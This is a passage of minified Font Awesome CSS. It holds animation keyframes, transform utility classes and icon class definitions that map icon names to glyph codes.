mation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-shake{-webkit-animation-name:fa-shake;animation-name:fa-shake;-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-shake,.fa-spin{-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal)}.fa-spin{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reverse{--fa-animation-direction:reverse}.fa-pulse,.fa-spin-pulse{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,steps(8));animation-timing-function:var(--fa-animation-timing,steps(8))}@media (prefers-reduced-motion:reduce){.fa-beat,.fa-beat-fade,.fa-bounce,.fa-fade,.fa-flip,.fa-pulse,.fa-shake,.fa-spin,.fa-spin-pulse{-webkit-animation-delay:-1ms;animation-delay:-1ms;-webkit-animation-duration:1ms;animation-duration:1ms;-webkit-animation-iteration-count:1;animation-iteration-count:1;transition-delay:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@-webkit-keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@-webkit-keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-webkit-keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}.fa-rotate-by{-webkit-transform:rotate(var(--fa-rotate-angle,none));transform:rotate(var(--fa-rotate-angle,none))}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%;z-index:var(--fa-stack-z-index,auto)}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:var(--fa-inverse,#fff)}.fa-0:before{content:"\30"}.fa-1:before{content:"\31"}.fa-2:before{content:"\32"}.fa-3:before{content:"\33"}.fa-4:before{content:"\34"}.fa-5:before{content:"\35"}.fa-6:before{content:"\36"}.fa-7:before{content:"\37"}.fa-8:before{content:"\38"}.fa-9:before{content:"\39"}.fa-a:before{content:"\41"}.fa-address-book:before,.fa-contact-book:before{content:"\f2b9"}.fa-address-card:before,.fa-contact-card:before,.fa-vcard:before{content:"\f2bb"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-anchor:before{content:"\f13d"}.fa-anchor-circle-check:before{content:"\e4aa"}.fa-anchor-circle-exclamation:before{content:"\e4ab"}.fa-anchor-circle-xmark:before{content:"\e4ac"}.fa-anchor-lock:before{content:"\e4ad"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-double-down:before,.fa-angles-down:before{content:"\f103"}.fa-angle-double-left:before,.fa-angles-left:before{content:"\f100"}.fa-angle-double-right:before,.fa-angles-right:before{content:"\f101"}.fa-angle-double-up:before,.fa-angles-up:before{content:"\f102"}.fa-ankh:before{content:"\f644"}.fa-apple-alt:before,.fa-apple-whole:before{content:"\f5d1"}.fa-archway:before{content:"\f557"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-down-1-9:before,.fa-sort-numeric-asc:before,.fa-sort-numeric-down:before{content:"\f162"}.fa-arrow-down-9-1:before,.fa-sort-numeric-desc:before,.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-arrow-down-a-z:before,.fa-sort-alpha-asc:before,.fa-sort-alpha-down:before{content:"\f15d"}.fa-arrow-down-long:before,.fa-long-arrow-down:before{content:"\f175"}.fa-arrow-down-short-wide:before,.fa-sort-amount-desc:before,.fa-sort-amount-down-alt:before{content:"\f884"}.fa-arrow-down-up-across-line:before{content:"\e4af"}.fa-arrow-down-up-lock:before{content:"\e4b0"}.fa-arrow-down-wide-short:before,.fa-sort-amount-asc:before,.fa-sort-amount-down:before{content:"\f160"}.fa-arrow-down-z-a:before,.fa-sort-alpha-desc:before,.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-left-long:before,.fa-long-arrow-left:before{content:"\f177"}.fa-arrow-pointer:before,.fa-mouse-pointer:before{content:"\f245"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-right-arrow-left:before,.fa-exchange:before{content:"\f0ec"}.fa-arrow-right-from-bracket:before,.fa-sign-out:before{content:"\f08b"}.fa-arrow-right-long:before,.fa-long-arrow-right:before{content:"\f178"}.fa-arrow-right-to-bracket:before,.fa-sign-in:before{content:"\f090"}.fa-arrow-right-to-city:before{content:"\e4b3"}.fa-arrow-left-rotate:before,.fa-arrow-rotate-back:before,.fa-arrow-rotate-backward:before,.fa-arrow-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-arrow-right-rotate:before,.fa-arrow-rotate-forward:before,.fa-arrow-rotate-right:before,.fa-redo:before{content:"\f01e"}.fa-arrow-trend-down:before{content:"\e097"}.fa-arrow-trend-up:before{content:"\e098"}.fa-arrow-turn-down:before,.fa-level-down:before{content:"\f149"}.fa-arrow-turn-up:before,.fa-level-up:before{content:"\f148"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-up-1-9:before,.fa-sort-numeric-up:before{content:"\f163"}.fa-arrow-up-9-1:before,.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-arrow-up-a-z:before,.fa-sort-alpha-up:before{content:"\f15e"}.fa-arrow-up-from-bracket:before{content:"\e09a"}.fa-arrow-up-from-ground-water:before{content:"\e4b5"}.fa-arrow-up-from-water-pump:before{content:"\e4b6"}.fa-arrow-up-long:before,.fa-long-arrow-up:before{content:"\f176"}.fa-arrow-up-right-dots:before{content:"\e4b7"}.fa-arrow-up-right-from-square:before,.fa-external-link:before{content:"\f08e"}.fa-arrow-up-short-wide:before,.fa-sort-amount-up-alt:before{content:"\f885"}.fa-arrow-up-wide-short:before,.fa-sort-amount-up:before{content:"\f161"}.fa-arrow-up-z-a:before,.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-arrows-down-to-line:before{content:"\e4b8"}.fa-arrows-down-to-people:before{content:"\e4b9"}.fa-arrows-h:before,.fa-arrows-left-right:before{content:"\f07e"}.fa-arrows-left-right-to-line:before{content:"\e4ba"}.fa-arrows-rotate:before,.fa-refresh:before,.fa-sync:before{content:"\f021"}.fa-arrows-spin:before{content:"\e4bb"}.fa-arrows-split-up-and-left:before{content:"\e4bc"}.fa-arrows-to-circle:before{content:"\e4bd"}.fa-arrows-to-dot:before{content:"\e4be"}.fa-arrows-to-eye:before{content:"\e4bf"}.fa-arrows-turn-right:before{content:"\e4c0"}.fa-arrows-turn-to-dots:before{content:"\e4c1"}.fa-arrows-up-down:before,.fa-arrows-v:before{content:"\f07d"}.fa-arrows-up-down-left-right:before,.fa-arrows:before{content:"\f047"}.fa-arrows-up-to-line:before{content:"\e4c2"}.fa-asterisk:before{content:"\2a"}.fa-at:before{content:"\40"}.fa-atom:before{content:"\f5d2"}.fa-audio-description:before{content:"\f29e"}.fa-austral-sign:before{content:"\e0a9"}.fa-award:before{content:"\f559"}.fa-b:before{content:"\42"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before,.fa-carriage-baby:before{content:"\f77d"}.fa-backward:before{content:"\f04a"}.fa-backward-fast:before,.fa-fast-backward:before{content:"\f049"}.fa-backward-step:before,.fa-step-backward:before{content:"\f048"}.fa-bacon:before{content:"\f7e5"}.fa-bacteria:before{content:"\e059"}.fa-bacterium:before{content:"\e05a"}.fa-bag-shopping:before,.fa-shopping-bag:before{content:"\f290"}.fa-bahai:before{content:"\f666"}.fa-baht-sign:before{content:"\e0ac"}.fa-ban:before,.fa-cancel:before{content:"\f05e"}.fa-ban-smoking:before,.fa-smoking-ban:before{content:"\f54d"}.fa-band-aid:before,.fa-bandage:before{content:"\f462"}.fa-barcode:before{content:"\f02a"}.fa-bars:before,.fa-navicon:before{content:"\f0c9"}.fa-bars-progress:before,.fa-tasks-alt:before{content:"\f828"}.fa-bars-staggered:before,.fa-reorder:before,.fa-stream:before{content:"\f550"}.fa-baseball-ball:before,.fa-baseball:before{content:"\f433"}.fa-baseball-bat-ball:before{content:"\f432"}.fa-basket-shopping:before,.fa-shopping-basket:before{content:"\f291"}.fa-basketball-ball:before,.fa-basketball:before{content:"\f434"}.fa-bath:before,.fa-bathtub:before{content:"\f2cd"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-battery-5:before,.fa-battery-full:before,.fa-battery:before{content:"\f240"}.fa-battery-3:before,.fa-battery-half:before{content:"\f242"}.fa-battery-2:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-4:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-bed:before{content:"\f236"}.fa-bed-pulse:before,.fa-procedures:before{content:"\f487"}.fa-beer-mug-empty:before,.fa-beer:before{content:"\f0fc"}.fa-bell:before{content:"\f0f3"}.fa-bell-concierge:before,.fa-concierge-bell:before{content:"\f562"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bicycle:before{content:"\f206"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-bitcoin-sign:before{content:"\e0b4"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blog:before{content:"\f781"}.fa-bold:before{content:"\f032"}.fa-bolt:before,.fa-zap:before{content:"\f0e7"}.fa-bolt-lightning:before{content:"\e0b7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-atlas:before,.fa-book-atlas:before{content:"\f558"}.fa-bible:before,.fa-book-bible:before{content:"\f647"}.fa-book-bookmark:before{content:"\e0bb"}.fa-book-journal-whills:before,.fa-journal-whills:before{content:"\f66a"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-open-reader:before,.fa-book-reader:before{content:"\f5da"}.fa-book-quran:before,.fa-quran:before{content:"\f687"}.fa-book-dead:before,.fa-book-skull:before{content:"\f6b7"}.fa-bookmark:before{content:"\f02e"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before,.fa-border-top-left:before{content:"\f853"}.fa-bore-hole:before{content:"\e4c3"}.fa-bottle-droplet:before{content:"\e4c4"}.fa-bottle-water:before{content:"\e4c5"}.fa-bowl-food:before{content:"\e4c6"}.fa-bowl-rice:before{content:"\e2eb"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-archive:before,.fa-box-archive:before{content:"\f187"}.fa-box-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes-packing:before{content:"\e4c7"}.fa-boxes-alt:before,.fa-boxes-stacked:before,.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-brazilian-real-sign:before{content:"\e46c"}.fa-bread-slice:before{content:"\f7ec"}.fa-bridge:before{content:"\e4c8"}.fa-bridge-circle-check:before{content:"\e4c9"}.fa-bridge-circle-exclamation:before{content:"\e4ca"}.fa-bridge-circle-xmark:before{content:"\e4cb"}.fa-bridge-lock:before{content:"\e4cc"}.fa-bridge-water:before{content:"\e4ce"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broom:before{content:"\f51a"}.fa-broom-ball:before,.fa-quidditch-broom-ball:before,.fa-quidditch:before{content:"\f458"}.fa-brush:before{content:"\f55d"}.fa-bucket:before{content:"\e4cf"}.fa-bug:before{content:"\f188"}.fa-bug-slash:before{content:"\e490"}.fa-bugs:before{content:"\e4d0"}.fa-building:before{content:"\f1ad"}.fa-building-circle-arrow-right:before{content:"\e4d1"}.fa-building-circle-check:before{content:"\e4d2"}.fa-building-circle-exclamation:before{content:"\e4d3"}.fa-building-circle-xmark:before{content:"\e4d4"}.fa-bank:before,.fa-building-columns:before,.fa-institution:before,.fa-museum:before,.fa-university:before{content:"\f19c"}.fa-building-flag:before{content:"\e4d5"}.fa-building-lock:before{content:"\e4d6"}.fa-building-ngo:before{content:"\e4d7"}.fa-building-shield:before{content:"\e4d8"}.fa-building-un:before{content:"\e4d9"}.fa-building-user:before{content:"\e4da"}.fa-building-wheat:before{content:"\e4db"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burger:before,.fa-hamburger:before{content:"\f805"}.fa-burst:before{content:"\e4dc"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before,.fa-bus-simple:before{content:"\f55e"}.fa-briefcase-clock:before,.fa-business-time:before{content:"\f64a"}.fa-c:before{content:"\43"}.fa-birthday-cake:before,.fa-cake-candles:before,.fa-cake:before{content:"\f1fd"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-day:before{content:"\f783"}.fa-calendar-alt:before,.fa-calendar-days:before{content:"\f073"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-week:before{content:"\f784"}.fa-calendar-times:before,.fa-calendar-xmark:before{content:"\f273"}.fa-camera-alt:before,.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-camera-rotate:before{content:"\e0d8"}.fa-campground:before{content:"\f6bb"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-battery-car:before,.fa-car-battery:before{content:"\f5df"}.fa-car-burst:before,.fa-car-crash:before{content:"\f5e1"}.fa-car-on:before{content:"\e4dd"}.fa-car-alt:before,.fa-car-rear:before{content:"\f5de"}.fa-car-side:before{content:"\f5e4"}.fa-car-tunnel:before{content:"\e4de"}.fa-caravan:before{content:"\f8ff"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-up:before{content:"\f0d8"}.fa-carrot:before{content:"\f787"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-flatbed:before,.fa-dolly-flatbed:before{content:"\f474"}.fa-cart-flatbed-suitcase:before,.fa-luggage-cart:before{content:"\f59d"}.fa-cart-plus:before{content:"\f217"}.fa-cart-shopping:before,.fa-shopping-cart:before{content:"\f07a"}.fa-cash-register:before{content:"\f788"}.fa-cat:before{content:"\f6be"}.fa-cedi-sign:before{content:"\e0df"}.fa-cent-sign:before{content:"\e3f5"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-blackboard:before,.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before,.fa-chalkboard-user:before{content:"\f51c"}.fa-champagne-glasses:before,.fa-glass-cheers:before{content:"\f79f"}.fa-charging-station:before{content:"\f5e7"}.fa-area-chart:before,.fa-chart-area:before{content:"\f1fe"}.fa-bar-chart:before,.fa-chart-bar:before{content:"\f080"}.fa-chart-column:before{content:"\e0e3"}.fa-chart-gantt:before{content:"\e0e4"}.fa-chart-line:before,.fa-line-chart:before{content:"\f201"}.fa-chart-pie:before,.fa-pie-chart:before{content:"\f200"}.fa-chart-simple:before{content:"\e473"}.fa-check:before{content:"\f00c"}.fa-check-double:before{content:"\f560"}.fa-check-to-slot:before,.fa-vote-yea:before{content:"\f772"}.fa-cheese:before{content:"\f7ef"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-child-dress:before{content:"\e59c"}.fa-child-reaching:before{content:"\e59d"}.fa-child-rifle:before{content:"\e4e0"}.fa-children:before{content:"\e4e1"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-arrow-circle-down:before,.fa-circle-arrow-down:before{content:"\f0ab"}.fa-arrow-circle-left:before,.fa-circle-arrow-left:before{content:"\f0a8"}.fa-arrow-circle-right:before,.fa-circle-arrow-right:before{content:"\f0a9"}.fa-arrow-circle-up:before,.fa-circle-arrow-up:before{content:"\f0aa"}.fa-check-circle:before,.fa-circle-check:before{content:"\f058"}.fa-chevron-circle-down:before,.fa-circle-chevron-down:before{content:"\f13a"}.fa-chevron-circle-left:before,.fa-circle-chevron-left:before{content:"\f137"}.fa-chevron-circle-right:before,.fa-circle-chevron-right:before{content:"\f138"}.fa-chevron-circle-up:before,.fa-circle-chevron-up:before{content:"\f139"}.fa-circle-dollar-to-slot:before,.fa-donate:before{content:"\f4b9"}.fa-circle-dot:before,.fa-dot-circle:before{content:"\f192"}.fa-arrow-alt-circle-down:before,.fa-circle-down:before{content:"\f358"}.fa-circle-exclamation:before,.fa-exclamation-circle:before{content:"\f06a"}.fa-circle-h:before,.fa-hospital-symbol:before{content:"\f47e"}.fa-adjust:before,.fa-circle-half-stroke:before{content:"\f042"}.fa-circle-info:before,.fa-info-circle:before{content:"\f05a"}.fa-arrow-alt-circle-left:before,.fa-circle-left:before{content:"\f359"}.fa-circle-minus:before,.fa-minus-circle:before{content:"\f056"}.fa-circle-nodes:before{content:"\e4e2"}.fa-circle-notch:before{content:"\f1ce"}.fa-circle-pause:before,.fa-pause-circle:before{content:"\f28b"}.fa-circle-play:before,.fa-play-circle:before{content:"\f144"}.fa-circle-plus:before,.fa-plus-circle:before{content:"\f055"}.fa-circle-question:before,.fa-question-circle:before{content:"\f059"}.fa-circle-radiation:before,.fa-radiation-alt:before{content:"\f7ba"}.fa-arrow-alt-circle-right:before,.fa-circle-right:before{content:"\f35a"}.fa-circle-stop:before,.fa-stop-circle:before{content:"\f28d"}.fa-arrow-alt-circle-up:before,.fa-circle-up:before{content:"\f35b"}.fa-circle-user:before,.fa-user-circle:before{content:"\f2bd"}.fa-circle-xmark:before,.fa-times-circle:before,.fa-xmark-circle:before{content:"\f057"}.fa-city:before{content:"\f64f"}.fa-clapperboard:before{content:"\e131"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clipboard-question:before{content:"\e4e3"}.fa-clipboard-user:before{content:"\f7f3"}.fa-clock-four:before,.fa-clock:before{content:"\f017"}.fa-clock-rotate-left:before,.fa-history:before{content:"\f1da"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-arrow-down:before,.fa-cloud-download-alt:before,.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-arrow-up:before,.fa-cloud-upload-alt:before,.fa-cloud-upload:before{content:"\f0ee"}.fa-cloud-bolt:before,.fa-thunderstorm:before{content:"\f76c"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-showers-water:before{content:"\e4e4"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-clover:before{content:"\e139"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-code-commit:before{content:"\f386"}.fa-code-compare:before{content:"\e13a"}.fa-code-fork:before{content:"\e13b"}.fa-code-merge:before{content:"\f387"}.fa-code-pull-request:before{content:"\e13c"}.fa-coins:before{content:"\f51e"}.fa-colon-sign:before{content:"\e140"}.fa-comment:before{content:"\f075"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before,.fa-commenting:before{content:"\f4ad"}.fa-comment-medical:before{content:"\f7f5"}.fa-comment-slash:before{content:"\f4b3"}.fa-comment-sms:before,.fa-sms:before{content:"\f7cd"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compass-drafting:before,.fa-drafting-compass:before{content:"\f568"}.fa-compress:before{content:"\f066"}.fa-computer:before{content:"\e4e5"}.fa-computer-mouse:before,.fa-mouse:before{content:"\f8cc"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-couch:before{content:"\f4b8"}.fa-cow:before{content:"\f6c8"}.fa-credit-card-alt:before,.fa-credit-card:before{content:"\f09d"}.fa-crop:before{content:"\f125"}.fa-crop-alt:before,.fa-crop-simple:before{content:"\f565"}.fa-cross:before{content:"\f654"}.fa-crosshairs:before{content:"\f05b"}.fa-crow:before{content:"\f520"}.fa-crown:before{content:"\f521"}.fa-crutch:before{content:"\f7f7"}.fa-cruzeiro-sign:before{content:"\e152"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-cubes-stacked:before{content:"\e4e6"}.fa-d:before{content:"\44"}.fa-database:before{content:"\f1c0"}.fa-backspace:before,.fa-delete-left:before{content:"\f55a"}.fa-democrat:before{content:"\f747"}.fa-desktop-alt:before,.fa-desktop:before{content:"\f390"}.fa-dharmachakra:before{content:"\f655"}.fa-diagram-next:before{content:"\e476"}.fa-diagram-predecessor:before{content:"\e477"}.fa-diagram-project:before,.fa-project-diagram:before{content:"\f542"}.fa-diagram-successor:before{content:"\e47a"}.fa-diamond:before{content:"\f219"}.fa-diamond-turn-right:before,.fa-directions:before{content:"\f5eb"}.fa-dice:before{content:"\f522"}.fa-dice-d20:before{content:"\f6cf"}.fa-dice-d6:before{content:"\f6d1"}.fa-dice-five:before{content:"\f523"}.fa-dice-four:before{content:"\f524"}.fa-dice-one:before{content:"\f525"}.fa-dice-six:before{content:"\f526"}.fa-dice-three:before{content:"\f527"}.fa-dice-two:before{content:"\f528"}.fa-disease:before{content:"\f7fa"}.fa-display:before{content:"\e163"}.fa-divide:before{content:"\f529"}.fa-dna:before{content:"\f471"}.fa-dog:before{content:"\f6d3"}.fa-dollar-sign:before,.fa-dollar:before,.fa-usd:before{content:"\24"}.fa-dolly-box:before,.fa-dolly:before{content:"\f472"}.fa-dong-sign:before{content:"\e169"}.fa-door-closed:before{content:"\f52a"}.fa-door-open:before{content:"\f52b"}.fa-dove:before{content:"\f4ba"}.fa-compress-alt:before,.fa-down-left-and-up-right-to-center:before{content:"\f422"}.fa-down-long:before,.fa-long-arrow-alt-down:before{content:"\f309"}.fa-download:before{content:"\f019"}.fa-dragon:before{content:"\f6d5"}.fa-draw-polygon:before{content:"\f5ee"}.fa-droplet:before,.fa-tint:before{content:"\f043"}.fa-droplet-slash:before,.fa-tint-slash:before{content:"\f5c7"}.fa-drum:before{content:"\f569"